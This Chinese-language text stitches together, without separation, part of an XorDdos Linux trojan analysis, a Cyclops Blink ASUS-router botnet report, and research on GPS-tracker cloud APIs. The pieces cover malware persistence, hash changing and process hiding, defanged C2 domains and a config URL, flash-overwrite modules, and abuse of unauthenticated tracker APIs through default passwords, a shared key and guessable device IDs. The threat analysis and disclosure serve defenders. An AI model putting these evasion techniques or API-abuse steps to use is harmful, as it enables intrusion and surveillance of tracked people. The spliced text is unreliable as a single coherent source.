SystemV運行級別運行級別是init和系統的一種模式,用於指定UnixsystemV-Style操作系統正在運行哪些系統服務。運行級別包含一個值,通常編號為0到6,每個值指定不同的系統配置,並允許訪問不同的進程組合。一些系統管理員根據他們的需要設置系統的默認運行級別,或者使用運行級別來識別哪些子系統正在工作,例如網絡是否正常運行。 /etc/rc run_level 目錄包含符號鏈接(符號鏈接),符號鏈接是指向原始文件的軟鏈接。這些符號鏈接指向應在指定的運行級別運行的腳本。

這個惡意軟件為放置在/etc/init.d/base_file_name 位置的init 腳本創建一個符號鏈接,這些目錄與/etc/rc run_level .d/S90 和/etc/rc.d/rc run_level .d/S9 base_file_name 0 base_file_name 的runlevels 1 到5 相關聯。

17.png

使用/etc/init.d/base_file_name 安裝rc.d 目錄的符號鏈接腳本

自動啟動服務該惡意軟件運行一個命令來安裝啟動服務,這些服務會在啟動時自動運行XorDdos。惡意軟件的LinuxExec_Argv2子例程使用提供的參數運行系統API。

命令chkconfig–add service_name 和update-rc.d 然後添加一個在引導時啟動守護進程的服務。

18.png

chkconfig和update-rc.d命令安裝啟動服務

基於參數的代碼流程XorDdos具有與提供給程序的參數數量相對應的特定代碼路徑。這種靈活性使它的操作更加健壯和隱秘。惡意軟件首先在沒有任何參數的情況下運行,然後運行另一個帶有不同參數的實例,比如pid和假命令,以執行清理、欺騙和持久化等功能。

在處理基於參數的控件之前,它調用readlinkAPI,第一個參數為/proc/self/exe以獲取其完整的進程路徑。完整路徑稍後用於創建自動啟動服務條目並讀取文件內容。

以下是不同參數的功能:

1.不帶任何參數的標準代碼路徑此代碼路徑描述了惡意軟件的標準工作流程,這也是XorDdos作為在系統啟動位置創建的條目的一部分運行的典型工作流程。

惡意軟件首先檢查它是否從/usr/bin/、/bin/或/tmp/位置運行。如果它沒有從這些位置運行,那麼它會在這些位置以及/lib/和/var/run/上使用10個字符的字符串名稱創建並自我複制。

它還在/lib/libudev.so位置創建了自己的一個副本。為了避免基於哈希值的惡意文件查找,它執行以下步驟,修改文件哈希值,使每個文件都是唯一的:

只有寫入時才會打開文件;

調用lseek(fd,0,SEEK_END)指向文件中的最後一個位置;

創建一個10個字符的隨機字符串;

在文件末尾寫入帶有額外空字節的字符串;

修改文件後,它運行二進製文件,執行雙fork(),並從磁盤中刪除其文件。

19.png

惡意軟件文件的末尾包含兩個隨機字符串,“wieegnexuk”和“yybrdajydg”,表明原始惡意軟件二進製文件被修改了兩次

2.清理代碼路徑在此代碼路徑中,惡意軟件使用作為PID提供的另一個參數運行,例如:

/usr/bin/jwvwvxoupv4849使用上面的示例,惡意軟件與IPC密鑰“0xDA718716”共享64字節大小的內存段,以檢查作為參數提供的另一個惡意軟件進程。如果沒有找到,它會運行自己的二進製文件而不帶任何參數,並調用fork()API兩次以確保第三代子進程沒有父進程。這導致第三代進程被init進程採用,從而將其與進程樹斷開連接並充當反取證技術。

另外,它在提供的$pid上執行以下任務:

獲取與提供的$pid對應的進程文件名;

刪除提供的$pid文件;

刪除已安裝的init服務:

刪除/etc/init.d/file_name

對於運行級別1-5,取消鏈接並刪除/etc/rc runlevel .d/S90 file_name

執行chkconfig-del file_name 命令;

執行update-rc.d file_name 刪除

結束作為參數提供的進程。

3.進程名欺騙代碼路徑這個惡意軟件生成了帶有兩個附加參數的新的被刪除的二進製文件:一個假的命令行及其PID,例如:

20.png

虛假命令可以包括:

21.png

在此代碼路徑中,惡意軟件使用進程名稱欺騙通過在運行時修改其虛假命令行來隱藏進程樹。然後,它通過使用命令“1”調用HidePidPort來隱藏其進程,並讀取與當前進程相關的磁盤上文件的內容。

然後,它進入一個5秒的循環,執行以下檢查:

3.1通過調用/proc/$pid/exe上的readlinkAPI,獲取特定於作為第三個參數的一部分提供的$pid的文件名。

3.2如果readlink調用失敗,這可能表明磁盤上的文件不存在。在這種情況下,會發生以下5種情況:

3.2.1打算刪除$pid的所有服務相關條目但失敗。這似乎是由於一個代碼缺陷造成的,當緩衝區應該從成功的readlinkAPI調用中填充時,該漏洞允許將歸零緩衝區作為服務名稱傳遞。

3.2.2創建類似於標準代碼路徑方案的目錄。

3.2.3調用文件/lib/libudev.so的statAPI。如果statAPI返回一個非零值,那麼它會嘗試將先前獲取的當前進程的圖像文件的內容複製到以下位置,並使用隨機名稱:

/usr/bin/

/bin/

/tmp/3.2.4如果對/lib/libdev.so的statAPI調用成功,則將/lib/libudev.so文件複製到上面列出的相同的三個目錄中。

3.2.5更改寫入或複製文件的哈希值,然後在不傳遞任何參數的情況下運行它。

3.3如果readlink調用成功並返回複製的字節數,則休眠一秒鐘,然後在五秒鐘內循環剩餘時間。

3.4取消隱藏當前進程和作為第三個參數的一部分提供的$pid;

3.5刪除當前進程的磁盤文件。

4.沒有提供任何參數的已知位置代碼路徑此代碼路徑與標準代碼路徑相似,主要區別在於惡意軟件從以下位置運行:

22.png

一旦它從其中一個位置運行,惡意軟件就會調用以下函數來執行各種任務:

4.1InstallSYS——顧名思義,這個函數是一個應該部署rootkit驅動程序的包裝器,但它只清零兩個本地數組。

23.png

虛擬InstallSYS例程

4.2AddService——創建前面提到的持久自動啟動項,以便惡意軟件在系統啟動時運行。

4.3HidePidPort——隱藏惡意軟件的端口和進程。

4.4CheckLKM——檢查rootkit設備是否處於活動狀態。它使用數字“0x9748712”和命令“0”的類似IOCTL調用來查找rootkit是否處於活動狀態。如果rootkit處於活動狀態,它會使用所有者值“0xAD1473B8”和組值“0xAD1473B8”通過函數lchown( 文件名、0xAD1473B8、0xAD1473B8)。

4.5decrypt_remotestr——使用相同的XOR密鑰“BB2FA36AAA9541F0”解碼遠程URL,以解碼config.rar和其他目錄。解碼URL後,它將它們添加到一個遠程列表中,該列表稍後用於從命令和控制(C2)服務器通信和獲取命令:

www[.]enoan2107[.]com:3306

www[.]gzcfr5axf6[.]com:3306

惡意活動線程在創建持久條目、刪除其活動證據並解碼config.rar之後,惡意軟件使用sem_initAPI初始化循環冗餘校驗(CRC)表,後跟未命名的信號量。該信號量使用apshared值設置為“0”進行初始化,從而使生成的信號量在所有線程之間共享。信號量用於維護訪問共享對象的線程之間的並發性,例如kill_cfg數據。

然後惡意軟件初始化三個線程來執行惡意活動,例如停止進程、創建TCP連接和檢索kill_cfg數據。

24.png

信號量和惡意線程初始化

kill_processkill_process線程執行以下任務:

解碼加密字符串;

獲取/var/run/gcc.pid的文件統計信息,如果不存在,則創建文件;

獲取/lib/libudev.so的文件統計信息,如果不存在,則創建目錄/lib並在/lib/libudev.so位置創建自身的副本;

獲取與當前進程相關的磁盤文件信息;如果失敗,則退出循環並停止當前進程;

從kill_cfg中讀取內容,並根據配置文件中匹配的指定項執行相應的操作,如停止進程或刪除文件,例如:

25.png

tcp_threadtcp_thread觸發與之前使用decrypt_remotestr()解碼的C2服務器的連接。它執行以下任務:

讀取文件/var/run/gcc.pid的內容,獲取一個唯一的32字節魔術字符串,用於在連接C2服務器時識別設備;如果該文件不存在,則創建該文件並使用一個隨機的32字節字符串對其進行更新。

計算CRC標頭,包括設備的詳細信息,例如魔術字符串、操作系統版本、惡意軟件版本、rootkit存在、內存統計信息、CPU信息和LAN速度。

加密數據並將其發送到C2服務器。

等待從C2服務器接收以下任何命令,然後使用exec_packet子例程對該命令進行操作。

26.png

系統信息收集

daemon_get_killed_processdaemon_get_killed_processthread從之前解碼的遠程URL(hxxp://aa[.]hostasa[.]org/config[.]rar)下載kill_cfg數據,並使用前面提到的相同XOR密鑰對其進行解密。然後它會休眠30分鐘。

27.png

daemon_get_killed_process線程函數從遠程URL獲取並解碼kill_cfg數據

DDoS攻擊線程池惡意軟件調用sysconf(_SC_NPROCESSORS_CONF)來獲取設備中的處理器數量。然後,它創建的線程數量是設備上找到的處理器數量的兩倍。

在內部調用每個線程都會調用線程例程threadwork。使用全局變量“g_stop”和從C2服務器接收的命令,threadwork然後發送精心製作的數據包65535次以執行DDoS攻擊。

28.png

如何防禦Linux平台的威脅XorDdos的模塊化特性為攻擊者提供了一種多功能木馬,能夠感染各種Linux系統架構。它的SSH暴力攻擊是一種相對簡單但有效的技術,可用於獲得對許多潛在目標的root訪問權限。

XorDdos擅長竊取敏感數據、安裝rootkit設備、使用各種規避和持久性機制以及執行DDoS攻擊,使攻擊者能夠對目標系統造成潛在的重大破壞。此外,XorDdos可用於引入其他危險威脅或為後續活動提供載體。

XorDdos和其他針對Linux設備的威脅都表明,擁有跨越眾多Linux操作系統發行版、具有全面能力和完整可見性的安全解決方案是多麼重要。 MicrosoftDefenderforEndpoint提供了這樣的可見性和保護,以捕捉這些新出現的威脅,其下一代反惡意軟件和終端檢測和響應(EDR)功能。利用來自集成威脅數據的威脅情報,包括客戶端和雲啟發式、機器學習模型、內存掃描和行為監控,MicrosoftDefenderforEndpoint可以檢測和補救XorDdos及其多階段模塊化攻擊。這包括檢測和防止其使用惡意shell腳本進行初始訪問、從全局可寫位置放置並執行二進製文件以及終端上的任何潛在後續活動。

本文會詳細介紹針對華碩路由器的Cyclops Blink 惡意軟件變種的技術能力,並包括150 多個當前和歷史命令和控制(CC) 服務器的Cyclops Blink 殭屍網絡的列表。

最近一個名為Cyclops Blink的模塊化殭屍網絡對諸多型號的華碩路由器發起了攻擊。自2019年首次出現以來,該殭屍網絡最初針對的是WatchGuard Firebox設備。根據英國國家網絡安全中心(NCSC) 進行的分析,Cyclops Blink 是一種高級模塊化殭屍網絡,據報導與Sandworm 或Voodoo Bear 高級持續威脅(APT) 組織有關,最近已被用於攻擊WatchGuard Firebox 設備。我們獲得了針對華碩路由器的Cyclops Blink 惡意軟件系列的變種。

本報告討論了這個Cyclops Blink 惡意軟件變種的技術能力,並包括了Cyclops Blink 殭屍網絡的150 多個當前和歷史命令和控制(CC) 服務器的列表。此列表旨在幫助網絡安全防御者在其網絡中搜索受影響的設備並進行修復。追踪發現,儘管Cyclops Blink 是一個國家支持的殭屍網絡,但它的CC 服務器和木馬會影響不屬於關鍵組織的WatchGuard Firebox 和華碩設備,或者那些對經濟、政治或軍事間諜活動具有明顯價值的設備。

因此,我們認為Cyclops Blink 殭屍網絡的主要目的可能是為進一步攻擊高價值目標構建基礎設施。

Sandworm APT 組織被認為創建了Cyclops Blink 和VPNFilter 物聯網(IoT) 殭屍網絡。 VPNFilter 於2018 年首次被發現,專門針對路由器和存儲設備。據報導,它還感染了數十萬台設備。 2021 年,趨勢科技發布了VPNFilter 的技術分析,其中專門介紹了殭屍網絡在被發現兩年後如何繼續影響受感染的系統。

Sandworm 還對許多引人注目的攻擊負責,包括2015 年和2016 年對烏克蘭電網的攻擊、2017 年NotPetya 攻擊、2017 年法國總統競選、2018 年冬奧會奧運會毀滅者攻擊以及2018 年針對禁止化學武器組織。

Cyclops Blink 惡意軟件分析Cyclops Blink 是用C 語言編寫的模塊化惡意軟件。在其核心組件中,惡意軟件首先要做的是檢查其可執行文件名是否以'[k'開頭。如果沒有,它將執行以下例程:

1.它將stdout 和stderr 文件描述符重定向到/dev/null;

2.它為SIGTERM、SIGINT、SIGBUS、SIGPIPE 和SIGIO 信號設置默認處理程序;

3.它使用新的'[ktest]'進程名稱重新自我加載。

然後它會等待37 秒,然後再設置其硬編碼參數。這些包括硬編碼的CC 服務器和應該用於與CC 服務器通信的時間間隔。

它還通過調用pipe() 函數來創建用於進程間通信(IPC) 的管道,以獲取用於讀取和寫入數據的兩個文件描述符。它還通過使用ioctl() 為寫入文件描述符啟用非阻塞I/O。

之後,將在內存中創建一個新的數據包,然後將其發送到CC 服務器。本分析稍後將介紹此通信的詳細信息。

對於用於與CC 服務器通信的每個硬編碼TCP 端口,惡意軟件會在Netfilter(Linux 內核防火牆)中創建一個規則,使用libiptc1 中的iptc_insert_entry() 函數來允許與其進行輸出通信。規則具有以下參數:

1.png

由於未知原因,惡意軟件刪除了上述規則並再次創建它們,這次是通過system() 函數使用iptables 命令。命令如下:

2.png

然後對OpenSSL庫進行初始化,核心組件繼續初始化硬編碼的模塊。

模塊初始化在此期間,核心組件初始化模塊。通過管道與模塊進行通信。對於每個硬編碼的模塊,惡意軟件會在它們自己的子進程中執行之前創建兩個管道。

3.png

初始化模塊的函數

在下圖中,我們推斷出以下mod_t 結構:

4.png

推斷的mod_t 結構,最後一個成員未知。

參數然後初始化參數,它們由一個592 字節的結構組成,其中包含通過管道發送到模塊的基本信息。這些信息包括:

一個“p:”字符串頭;

核心部件的管道;

所有CC IP 地址和端口;

本地IP 地址;

CC服務器通信的時間間隔;

當下一個要發送到CC 服務器的數據包;

主進程PID;

硬編碼ID(0xA08F078B、0xBD0A5B36 和0xA244E5E2);

參數被推送到模塊,此時模塊被初始化。

CC 通訊從模塊獲取數據後,核心組件啟動加密程序,在將數據發送到CC 服務器之前對數據進行加密。

加密Cyclops Blink 使用動態加載的受感染設備中應該可用的OpenSSL 功能對數據進行加密。

數據使用AES-256 在密碼塊鏈接(CBC) 模式下使用隨機生成的256 位密鑰和128 位初始化向量(IV) 進行加密。然後使用每個樣本唯一的硬編碼RSA-2560(320 位)公鑰對其進行加密。

惡意軟件開發者決定使用EVP_SealInit() 函數。此函數執行所有上述加密步驟,包括隨機AES 密鑰和IV 生成。

CC服務器必須有相應的RSA私鑰才能解密數據。

加密後,如果數據包總長度大於98303 字節,則發送數據包。

數據傳輸為了向CC 服務器發送數據,核心組件在隨機TCP 端口上與隨機選擇的CC 服務器執行TLS 握手,兩者都來自硬編碼列表。

在選擇一個IP地址和一個TCP端口對之後,核心組件創建一個子進程來執行通信。子進程將連接到CC服務器,並向SSL套接字寫入四個字節。這四個字節是它想要發送的數據包大小。

5.png

子進程將四個字節寫入SSL 套接字

服務器必須用一個精確的四字節回答,也就是受害者的IPv4地址。

然後將10 個字節寫入核心組件管道。數據遵循特定格式。例如:

6.png

然後核心組件從CC 服務器接收更多數據。這一次,它希望使用硬編碼的RSA-2560 公鑰來解密加密的數據包。

惡意軟件需要一個響應,其中前四個字節是數據包的大小,後跟加密數據。

7.png

接收和解密來自CC服務器的數據的核心組件代碼

如果接收到某些內容,則將其解密並寫入到主管道。為了解密,該惡意軟件使用RSA_public_decrypt()函數,該函數利用RSA加密算法的“可逆性”解密用相應私鑰加密的數據。

最後,將更新一個變量,該變量包含下一次應該發送的數據包,並將所有的參數再次發送給模塊,這是因為核心組件可以從CC服務器接收新參數。

命令從CC服務器接收到的數據包括對核心組件本身或其模塊的命令。

首先,核心組件將受支持的命令發送到CC服務器,然後進入一個循環,在這個循環中它需要其中一個命令。

如果命令以核心組件為目標,它可以是以下之一:

0、終止程序;

1、繞過數據發送間隔,立即向CC服務器發送數據;

2、將新的CC 服務器添加到內存列表中;

3、設置發送下一個數據包到CC 服務器的時間;

4、設置發送下一個數據包到CC 服務器的時間;

5、添加一個新模塊(應該在命令之後收到一個ELF 文件);

6、重新加載惡意軟件;

7、設置本地IP地址參數;

8、設置新的worker ID;

9、設置未知字節值;

10、向所有正在運行的模塊重新發送配置;

模塊華碩(0x38)這個模塊可以從設備的閃存讀取和寫入,這些設備使用閃存來存儲操作系統、配置和文件系統中的所有文件。我們的研究是在RT-AC68U上進行的,但是其他華碩路由器如RT-AC56U也可能受到影響。然而,值得注意的是,由於惡意軟件本質上是模塊化的,它可以很容易地重新編譯以針對任何其他設備。事實上,這就是他們對WatchGuard 所做的,它是相同的代碼,但它已經為相關品牌重新編譯了。

首先,模塊檢查內容/proc/mtd 文件,該文件提供有關設備的內存技術設備(MTD) 子系統的一般信息。 MTD提供了一個抽象層來訪問設備的閃存。

惡意軟件查找字符串“linux”和“rootfs”,並使用printf()類格式讀取它:

8.png

模塊查找“linux”和“rootfs”字符串

推斷出的mdt_data_t結構如下:

9.png

mtd_data_t 結構

數據被讀取到這個結構中。 Asus RT-AC68U 設備的/proc/mtd 內容如下:

10.png

來自Asus RT-AC68U 路由器的典型/proc/mtd

因此,根據這個案例,惡意軟件會打開/dev/mtd2,這是存儲Linux 內核映像的分區。為什麼惡意軟件開發者決定讀取“linux”或“rootfs”分區是不清楚的。因為它們有完全不同的目的。前者保存操作系統,後者存儲程序的關鍵文件,如可執行文件、數據和庫。

Cyclops Blink 從閃存中讀取80 個字節,寫入主管道,然後進入循環等待命令替換分區內容:

11.png

Asus 模塊主循環

如果來自核心組件的數據以“p:”開頭,則表示它是該模塊的參數,將80字節寫入閃存,有效替換其內容。

寫入由j_save_data() 函數完成。它首先通過ioctl()調用正確地擦除NAND擦除塊,然後寫入新的內容,如下圖所示:

12.png

用於寫入原始閃存的Cyclops Blink Asus 模塊代碼

由於閃存內容是永久性的,因此該模塊可用於建立持久性和恢復出廠設置。

雖然它不能用作歸屬證明,但前面的代碼讓我們想起了VPNFilter 進程的第三階段代碼中的一個例程,稱為“dstr”,旨在“破壞”受感染的設備。除了刪除許多重要文件甚至嘗試刪除整個根文件系統之外,這個特定的VPNFilter 階段還會將許多0xff 字節寫入原始閃存:

13.png

用於寫入原始閃存的VPNFilter “dstr”第三階段代碼

系統偵察(0x08)該模塊負責將信息從受感染設備發送到CC 服務器。以下數據來自受感染的設備:

1.模塊通過調用uname() 函數和/etc/issue 文件獲得的Linux 版本;

2.有關設備內存消耗的信息,它通過調用sysinfo() 函數獲取;

3.SSD 存儲信息,通過調用statvfs() 函數獲取;

以下文件的內容:

/etc/passwd

/etc/group

/proc/mounts

/proc/partitions

4.有關網絡接口的信息,它通過使用SIOCGIFHWADDR 和SIOCGIFADDR 命令調用if_nameindex() 和iotctl() 函數來獲取。

文件下載(0x0f)該模塊可以從互聯網上下載文件。使用DNS over HTTPS (DoH) 執行DNS 解析。惡意軟件使用以下標頭向Google DNS 服務器(8.8.8.8) 發送HTTP POST 請求:

14.png

通過SSL 進行DNS 解析的HTTP POST 請求

該模塊似乎是NCSC 報告的Cyclops Blink 變體使用的同一模塊(0x0f) 的早期版本。模塊之間的主要區別如下:

1.該模塊沒有上傳功能;

2.該模塊使用控制標誌中的0x1位來指定是否應該通過HTTPS進行下載。

基礎設施我們已經能夠確定Cyclops Blink 殭屍網絡從受感染的WatchGuard 設備和華碩路由器中感染了路由器。這些受感染的設備會定期連接到CC 服務器,這些服務器本身託管在受感染的WatchGuard 設備上。我們有證據表明,除了華碩和WatchGuard 之外,至少有一家供應商的路由器也連接到了Cyclops Blink CC,但到目前為止,我們還無法收集該路由器品牌的惡意軟件樣本。

Cyclops Blink 殭屍網絡已經存在了一段時間。使用互聯網範圍掃描的歷史數據和SSL 證書數據,Cyclops Blink 很可能至少可以追溯到2019 年6 月。自2019 年6 月以來,該攻擊者已頒發了50 多個SSL 證書,用於WatchGuard CC 上各種TCP 端口(據我們所知,使用了以下TCP 端口:636、989、990、994、995、3269 和8443)。

在附錄A 中,出於防護需要,我們列出了Cyclops Blink 使用的活動和非活動CC。我們觀察到,一些WatchGuard 和Asus 木馬從未清理過,因為這些路由器仍會定期嘗試連接到受保護或脫機的舊CC。

15.png

為Cyclops Blink CC 頒發的多個SSL 證書的時間線

我們的調查顯示,全世界有200 多名Cyclops Blink 受害者。受感染的WatchGuard 設備和華碩路由器的典型國家是美國、印度、意大利、加拿大以及包括俄羅斯在內的一長串其他國家。應該指出的是,這些受害者似乎不是經濟、軍事或政治間諜活動的明顯有價值的目標。例如,一些實時CC 託管在歐洲的一家律師事務所、一家為南歐的牙醫生產醫療設備的中型公司和美國的一家管道工使用的WatchGuard 設備上。這與其他APT 組織(例如Pawn Storm)執行的暴力攻擊數量不斷增加是一致的,該組織已經破壞了許多資產,例如電子郵件地址和目標的電子郵件服務器,這些資產通常與Pawn Storm 的目標不一致。

16.png

緩解措施在過去幾年中,物聯網攻擊在全球範圍內不斷升級,互聯網路由器一直是主要目標之一。這些設備受到攻擊者的青睞有幾個原因:1.修補頻率低,2.缺乏安全軟件,3.防御者的可見性有限。一旦物聯網設備感染了惡意軟件,攻擊者就可以不受限制地訪問互聯網,下載和部署更多階段的惡意軟件,以進行偵察、間諜活動、代理或攻擊者想做的任何其他事情。

大多數物聯網設備的底層操作系統是Linux,許多強大的系統工具也使用它。這可以允許攻擊者添加他們可能需要完成攻擊的任何其他內容。在Cyclops Blink 的案例中,我們已經看到連續30 多個月(大約兩年半)被攻陷的設備被設置為其他木馬的穩定CC 服務器。

VPNFilter 的目標供應商是華碩、D-Link、華為、Linksys、MikroTik、Netgear、QNAP、TP-Link、Ubiquiti、UPVEL 和ZDE。在Cyclops Blink 的案例中,我們收到了針對華碩路由器的樣本,這些樣本之前沒有被報導過。我們分析的華碩Cyclops Blink 惡意軟件版本與之前討論的WatchGuard 版本相比存在一些差異。

我們分析的樣本是為ARM 編譯的,並與uClibc 動態鏈接。它們還包含一個專門針對華碩路由器的模塊。華碩可能只是目前Cyclops Blink 目標的供應商之一。我們有證據表明其他路由器也受到影響,但截至報告時,我們無法為WatchGuard 和華碩以外的路由器收集Cyclops Blink 惡意軟件樣本。根據我們的觀察,這些都是Cyclops Blink 攻擊者深思熟慮的。

此外,該殭屍網絡的目的仍不清楚:它是否旨在用於分佈式拒絕服務(DDoS) 攻擊、間諜活動或代理網絡仍有待觀察。但顯而易見的是,Cyclops Blink 是一種高級惡意軟件。隨著居家辦公增多,間諜活動可能是物聯網設備仍然是高級攻擊者的主要目標的部分原因。受到攻擊的路由器越多,攻擊者可以使用的強大數據收集來源以及進一步攻擊的途徑就越多。擁有分佈式基礎設施也使網絡安全團隊更難以消除整個攻擊。

這也是為什麼在兩年多之後,仍然有活動的VPNFilter 主機出現的原因。

如果懷疑某個組織的設備感染了Cyclops Blink,最好換個新路由器。執行恢復出廠設置可能會清除組織的配置,但不會清除攻擊者修改的底層操作系統。如果特定供應商的固件更新可以解決Cyclops Blink 攻擊或系統中的任何其他漏洞,組織應盡快應用這些更新。但是,在某些情況下,設備可能是報廢產品,供應商也不在提供更新。

在這種情況下,普通用戶將無法修復Cyclops Blink 感染。

0x01 背景描述在上一篇中,我發布了對在GPS跟踪設備網絡中發現的漏洞的深入分析。自從我向製造商深圳i365披露我的發現以來,已經過去了將近9個月。但是,到目前為止,我估計仍然有超過500萬種設備仍在野外使用,這些設備會暴露兒童、老年人、物質財產的精確實時GPS坐標。

你可能想知道這樣一個非常不安全的品牌如何被全球眾多消費者所購買。我發現,這個問題比向單個設備供應商披露一個漏洞要大得多。取而代之的是,我在研究的第一部分中詳細介紹了GPS跟踪器,實際上看到了供應鏈關係網,從而使安全問題從一個供應商到下一個呈指數增長。

在這篇後續文章中,我將通過詳細介紹GPS追踪器的基礎設施並解釋製造商與供應商與消費者之間的關係,來解釋這些廉價的仿製品牌的銷售範圍。

製造商才是真正生產跟踪器電子產品的一方,而賣方則是以軟件,應用程序或云解決方案的形式出售具有附加值的設備的一方。

首先,讓我回顧一下本研究的第一部分。

GPS跟踪器具有各種品牌和型號,並且具有多種用途。通常會打廣告宣傳它們,以追踪孩子在旅途中的位置,通常採用帶有麥克風/揚聲器或照相機的手錶形狀,以便與父母進行交流。我還分析了專為汽車設計的GPS跟踪器,有些型號甚至允許黑客連接到車輛的防盜裝置,從而遠程殺死引擎。我研究了衣領形狀的寵物追踪器,具有內置緊急呼叫功能的老年人追踪器以及鑰匙圈上的通用追踪器。所有這些跟踪器的共同點是基本的操作方案(如下圖所示)以及雲API中的一組漏洞,這些漏洞可能使攻擊者能夠完全控制設備。

img

典型的GPS追踪器系統示意圖

為了完全掌握這個漏洞的鏈路,我需要解釋供應鏈問題的實際含義。在當今的物聯網領域,首先要把新產品推向市場,而不是花時間加強其安全性。特別是在競爭激烈且供應商不太可能投資內部構建所有產品的廉價設備領域,解決方案是使用從第三方購買的各種組件來構建產品。那就是供應鏈。這不是一個新概念,製造一直以來都是這樣,但是如今安全研究人員擔心的是,通常無法保證產品的這些組成部分是安全的,

縱觀GPS追踪器市場,許多看起來很相似,但是由不同的供應商以不同的產品名稱出售。事實是,那裡有無數的追踪器,並且全部由中國的幾家工廠生產。如今,在中國以外著名的跟踪器製造商包括:

image.png

供應商通常是那些將不同來源的這三個主要組成部分進行出售和組合的供應商。我們試圖繪製所有製造商,解決方案提供商和供應商圖,但這是一個如此廣泛的網絡,以至於無法封裝所有這些信息。為了便於說明,典型的供應鏈如下所示:

img

供應鏈插圖

上圖非常簡單並且可以理解,但這是一個理想的世界。在現實世界中,此架構中有許多例外。例如,雲解決方案提供商也可能直接銷售帶有應用程序和硬件的最終解決方案,或者硬件工廠從另一位開發人員那裡獲取固件。

0x02 漏洞概述我發現i365品牌的追踪器存在很多問題:

1.默認登錄憑證該特定供應商的所有跟踪器均已預先配置為默認密碼123456,這是最不安全的密碼之一。沒有要求用戶對其進行更改。

image-20220323111014334.png

2.登錄未認證通過網絡未加密地登錄Web服務以及移動應用程序,因此任何人都可以截獲或更改。image-20220323111040074

image-20220323111040074.png

登錄到Web門戶的截圖,允許用戶控制和監視跟踪器

3.弱密碼登錄跟踪器的用戶名也已預先配置,沒有給用戶提供選擇用戶名的選項。實際上,分配的用戶名實際上只是設備的國際移動設備識別碼(IMEI)的一部分,可以很容易地進行迭代。此外,密碼已重新設置為123456。

image-20220323111054130.png

4.跟踪器和雲平台以純文本傳輸通過跟踪器的GPRS移動連接傳輸的數據未加密,並且缺少身份驗證。此外,跟踪器僅通過發送帶有預定義密碼的SMS純文本即可使攻擊者更改數據發送目的地的端點(IP地址和端口)。這種缺乏加密的機制使任何人都可以截取和修改通信,從而允許發生各種情況,例如數據洩漏,欺騙用戶的位置,發送惡意命令等等。

image-20220323111124255.png

GPS跟踪器和雲服務器之間捕獲的通信

5.雲框架API不安全遵循SOAP標准通信協議的API端點存在許多問題。大多數功能不需要事先驗證,設備的唯一標識符是一個六位數的數字,可以快速瀏覽與設備相關的數據,例如GPS歷史記錄或云平台中存儲的照片。任何人都可以調用API,缺少身份驗證。

image-20220323111144021 image-20220323111144021.png

要獲取存儲的照片,只需一個設備的ID(六位數字),密鑰是固定的

即使在這裡看到的Key 字段,它也不是通過登錄獲得的會話密鑰,實際上,該應用程序的內置密鑰已被接受。事實證明,該密鑰也由不同的供應商共享,指向一個公有云。

我提到這似乎不僅僅是一個中國供應商,這是一個更大的問題,但不幸的是,事實證明我是對的。

0x03 攻擊雲平台現在,讓我向你解釋為什麼我重新介紹了供應鏈。想像一下這種情況:有數十家GPS追踪器製造商生產了所有這些不同型號的追踪器,它們都帶有自己的固件,這些固件都具有自己的協議,因此他們要么創建自己的解決方案和應用,要么購買現成的解決方案。你會走哪條路?

因為我非常懷疑這不是一個孤立的問題,所以我在考慮從另一家製造商那裡購買汽車追踪器。

1.設備研究隨機搜索GPS跟踪器在互聯網上找到了下面這個:

image-20220323111258600.png

TK100車載GPS追踪器

根據製造商的網頁,該跟踪器能夠切斷汽車點火裝置的電源,在點火裝置打開時發送警報,以及所有標準功能,包括麥克風和揚聲器。但是我需要為此攻擊實驗購買它嗎?我決定進行虛擬分析,以證明對這些設備和配套應用程序中的任何一個進行正確的安全評估並不難。此外,為了證明我對此設備正在使用相同的後端服務的猜測。

第一步是獲取設備的操作手冊並下載配套應用程序。在製造商的網頁上,下面引起了我的注意:

image-20220323111330816.png

有一個Web門戶和Android app。首先看一下門戶:

image-20220323111343875.png

由於不知道確切的IMEI或車牌號,因為我實際上沒有購買,無法登錄,但至少讓我們看看這些登錄數據是如何通過網絡傳輸的。

img

通過網絡以純文本形式輸入的密碼和用戶名

看一下Android應用程序

image-20220323111421962 image-20220323111421962.png

Android App

沒有發現什麼信息,於是通過apklab .io進行分析:

image-20220323111512744 img

通過apklab.io靜態分析找到的URL字符串

通過對沒有物理設備的Android應用程序進行靜態分析,我發現了一個內置URL,該URL似乎正是我要尋找的URL,因此嘗試一下。

img

APK文件中URL的API

似乎很熟悉:

image-20220323111536973上一篇博文對i365的分析得出的API的截圖

好的,現在讓我們從GetDeviceDetail開始測試它們是否存在相同的漏洞:

img

具有常規參數的GetDeviceDetail API

使用先前應用程序中的內置密鑰並進行DeviceID猜測:

img

這證明所有這些跟踪器都有一個共同點:儘管這些跟踪器是由不同的製造商製造的,但似乎雲基礎架構是由同一家公司製造的。只是為了證明我的觀點,我下載了該手冊,儘管它看起來略有不同,但我得到了幫助:

img

你可以看到與之前的研究相同的模式,如何設置追踪器應該連接的服務器的IP地址和端口,以發送GPS數據和接收命令。

2.終極工具Google我們知道有多家供應商使用一種公有云框架,但是我們如何找到更多雲平台呢?有時候Google可以帶來豐碩的成果。我在Google上搜索了OpenAPv3.asmx,而且看起來似乎令人難以置信,我發現許多頁面的URL類似於我已經看到的格式。但是當我也發現這一點時,真是一個驚喜

image-20220323111558179.png

允許瀏覽服務器上的目錄

任何人都可以自由瀏覽它的方式打開站點不是一個很好的標準,所幸此頁面已被刪除。但這為我提供了有關API的結構以及在那裡可以找到的內容的線索。我在這裡註意到三件事:

1.日誌目錄是可瀏覽的,這可以為我提供有關整個後端系統來自何處的更詳細的提示

2.API有多種版本,事實證明它們都在訪問相同的OpenAPIV1-V4數據。

3.ZKImages文件夾是不言自明的,包含大量GPS追踪器使用內置攝像頭拍攝的圖像

日誌目錄是引起我注意的第一件事。

image-20220323111613941.png

如你所見,日誌是最新的

image-20220323111630210.png

嘗試連接到數據庫時,SQL客戶端中的某些異常。但是,這裡最有價值的信息是實現框架的二進製文件的名稱。你知道信息安全領域中的所有災難都來自錯誤的代碼,糟糕的代碼通常來自程序員。因此,我決定效法這一點。除了它可能是很老的.NET二進製文件外,從二進製文件本身的名稱NewGPS2012.Logic中看不出什麼。因為之前通過Google搜到了很多信息,所以我再次嘗試了。

image-20220323111642620.png

我對結果感到非常驚訝,發現許多Google索引的日誌目錄為我提供了幾乎免費使用相同框架的域名列表,但其中一個很特別:

img

是的,有人剛剛留下了框架二進製文件的更新。在分析這些二進製文件時,我學到了很多東西,但是我發現的基本要點之一是在SendCommandAPI.dll文件中,該文件有詳盡的函數列表。

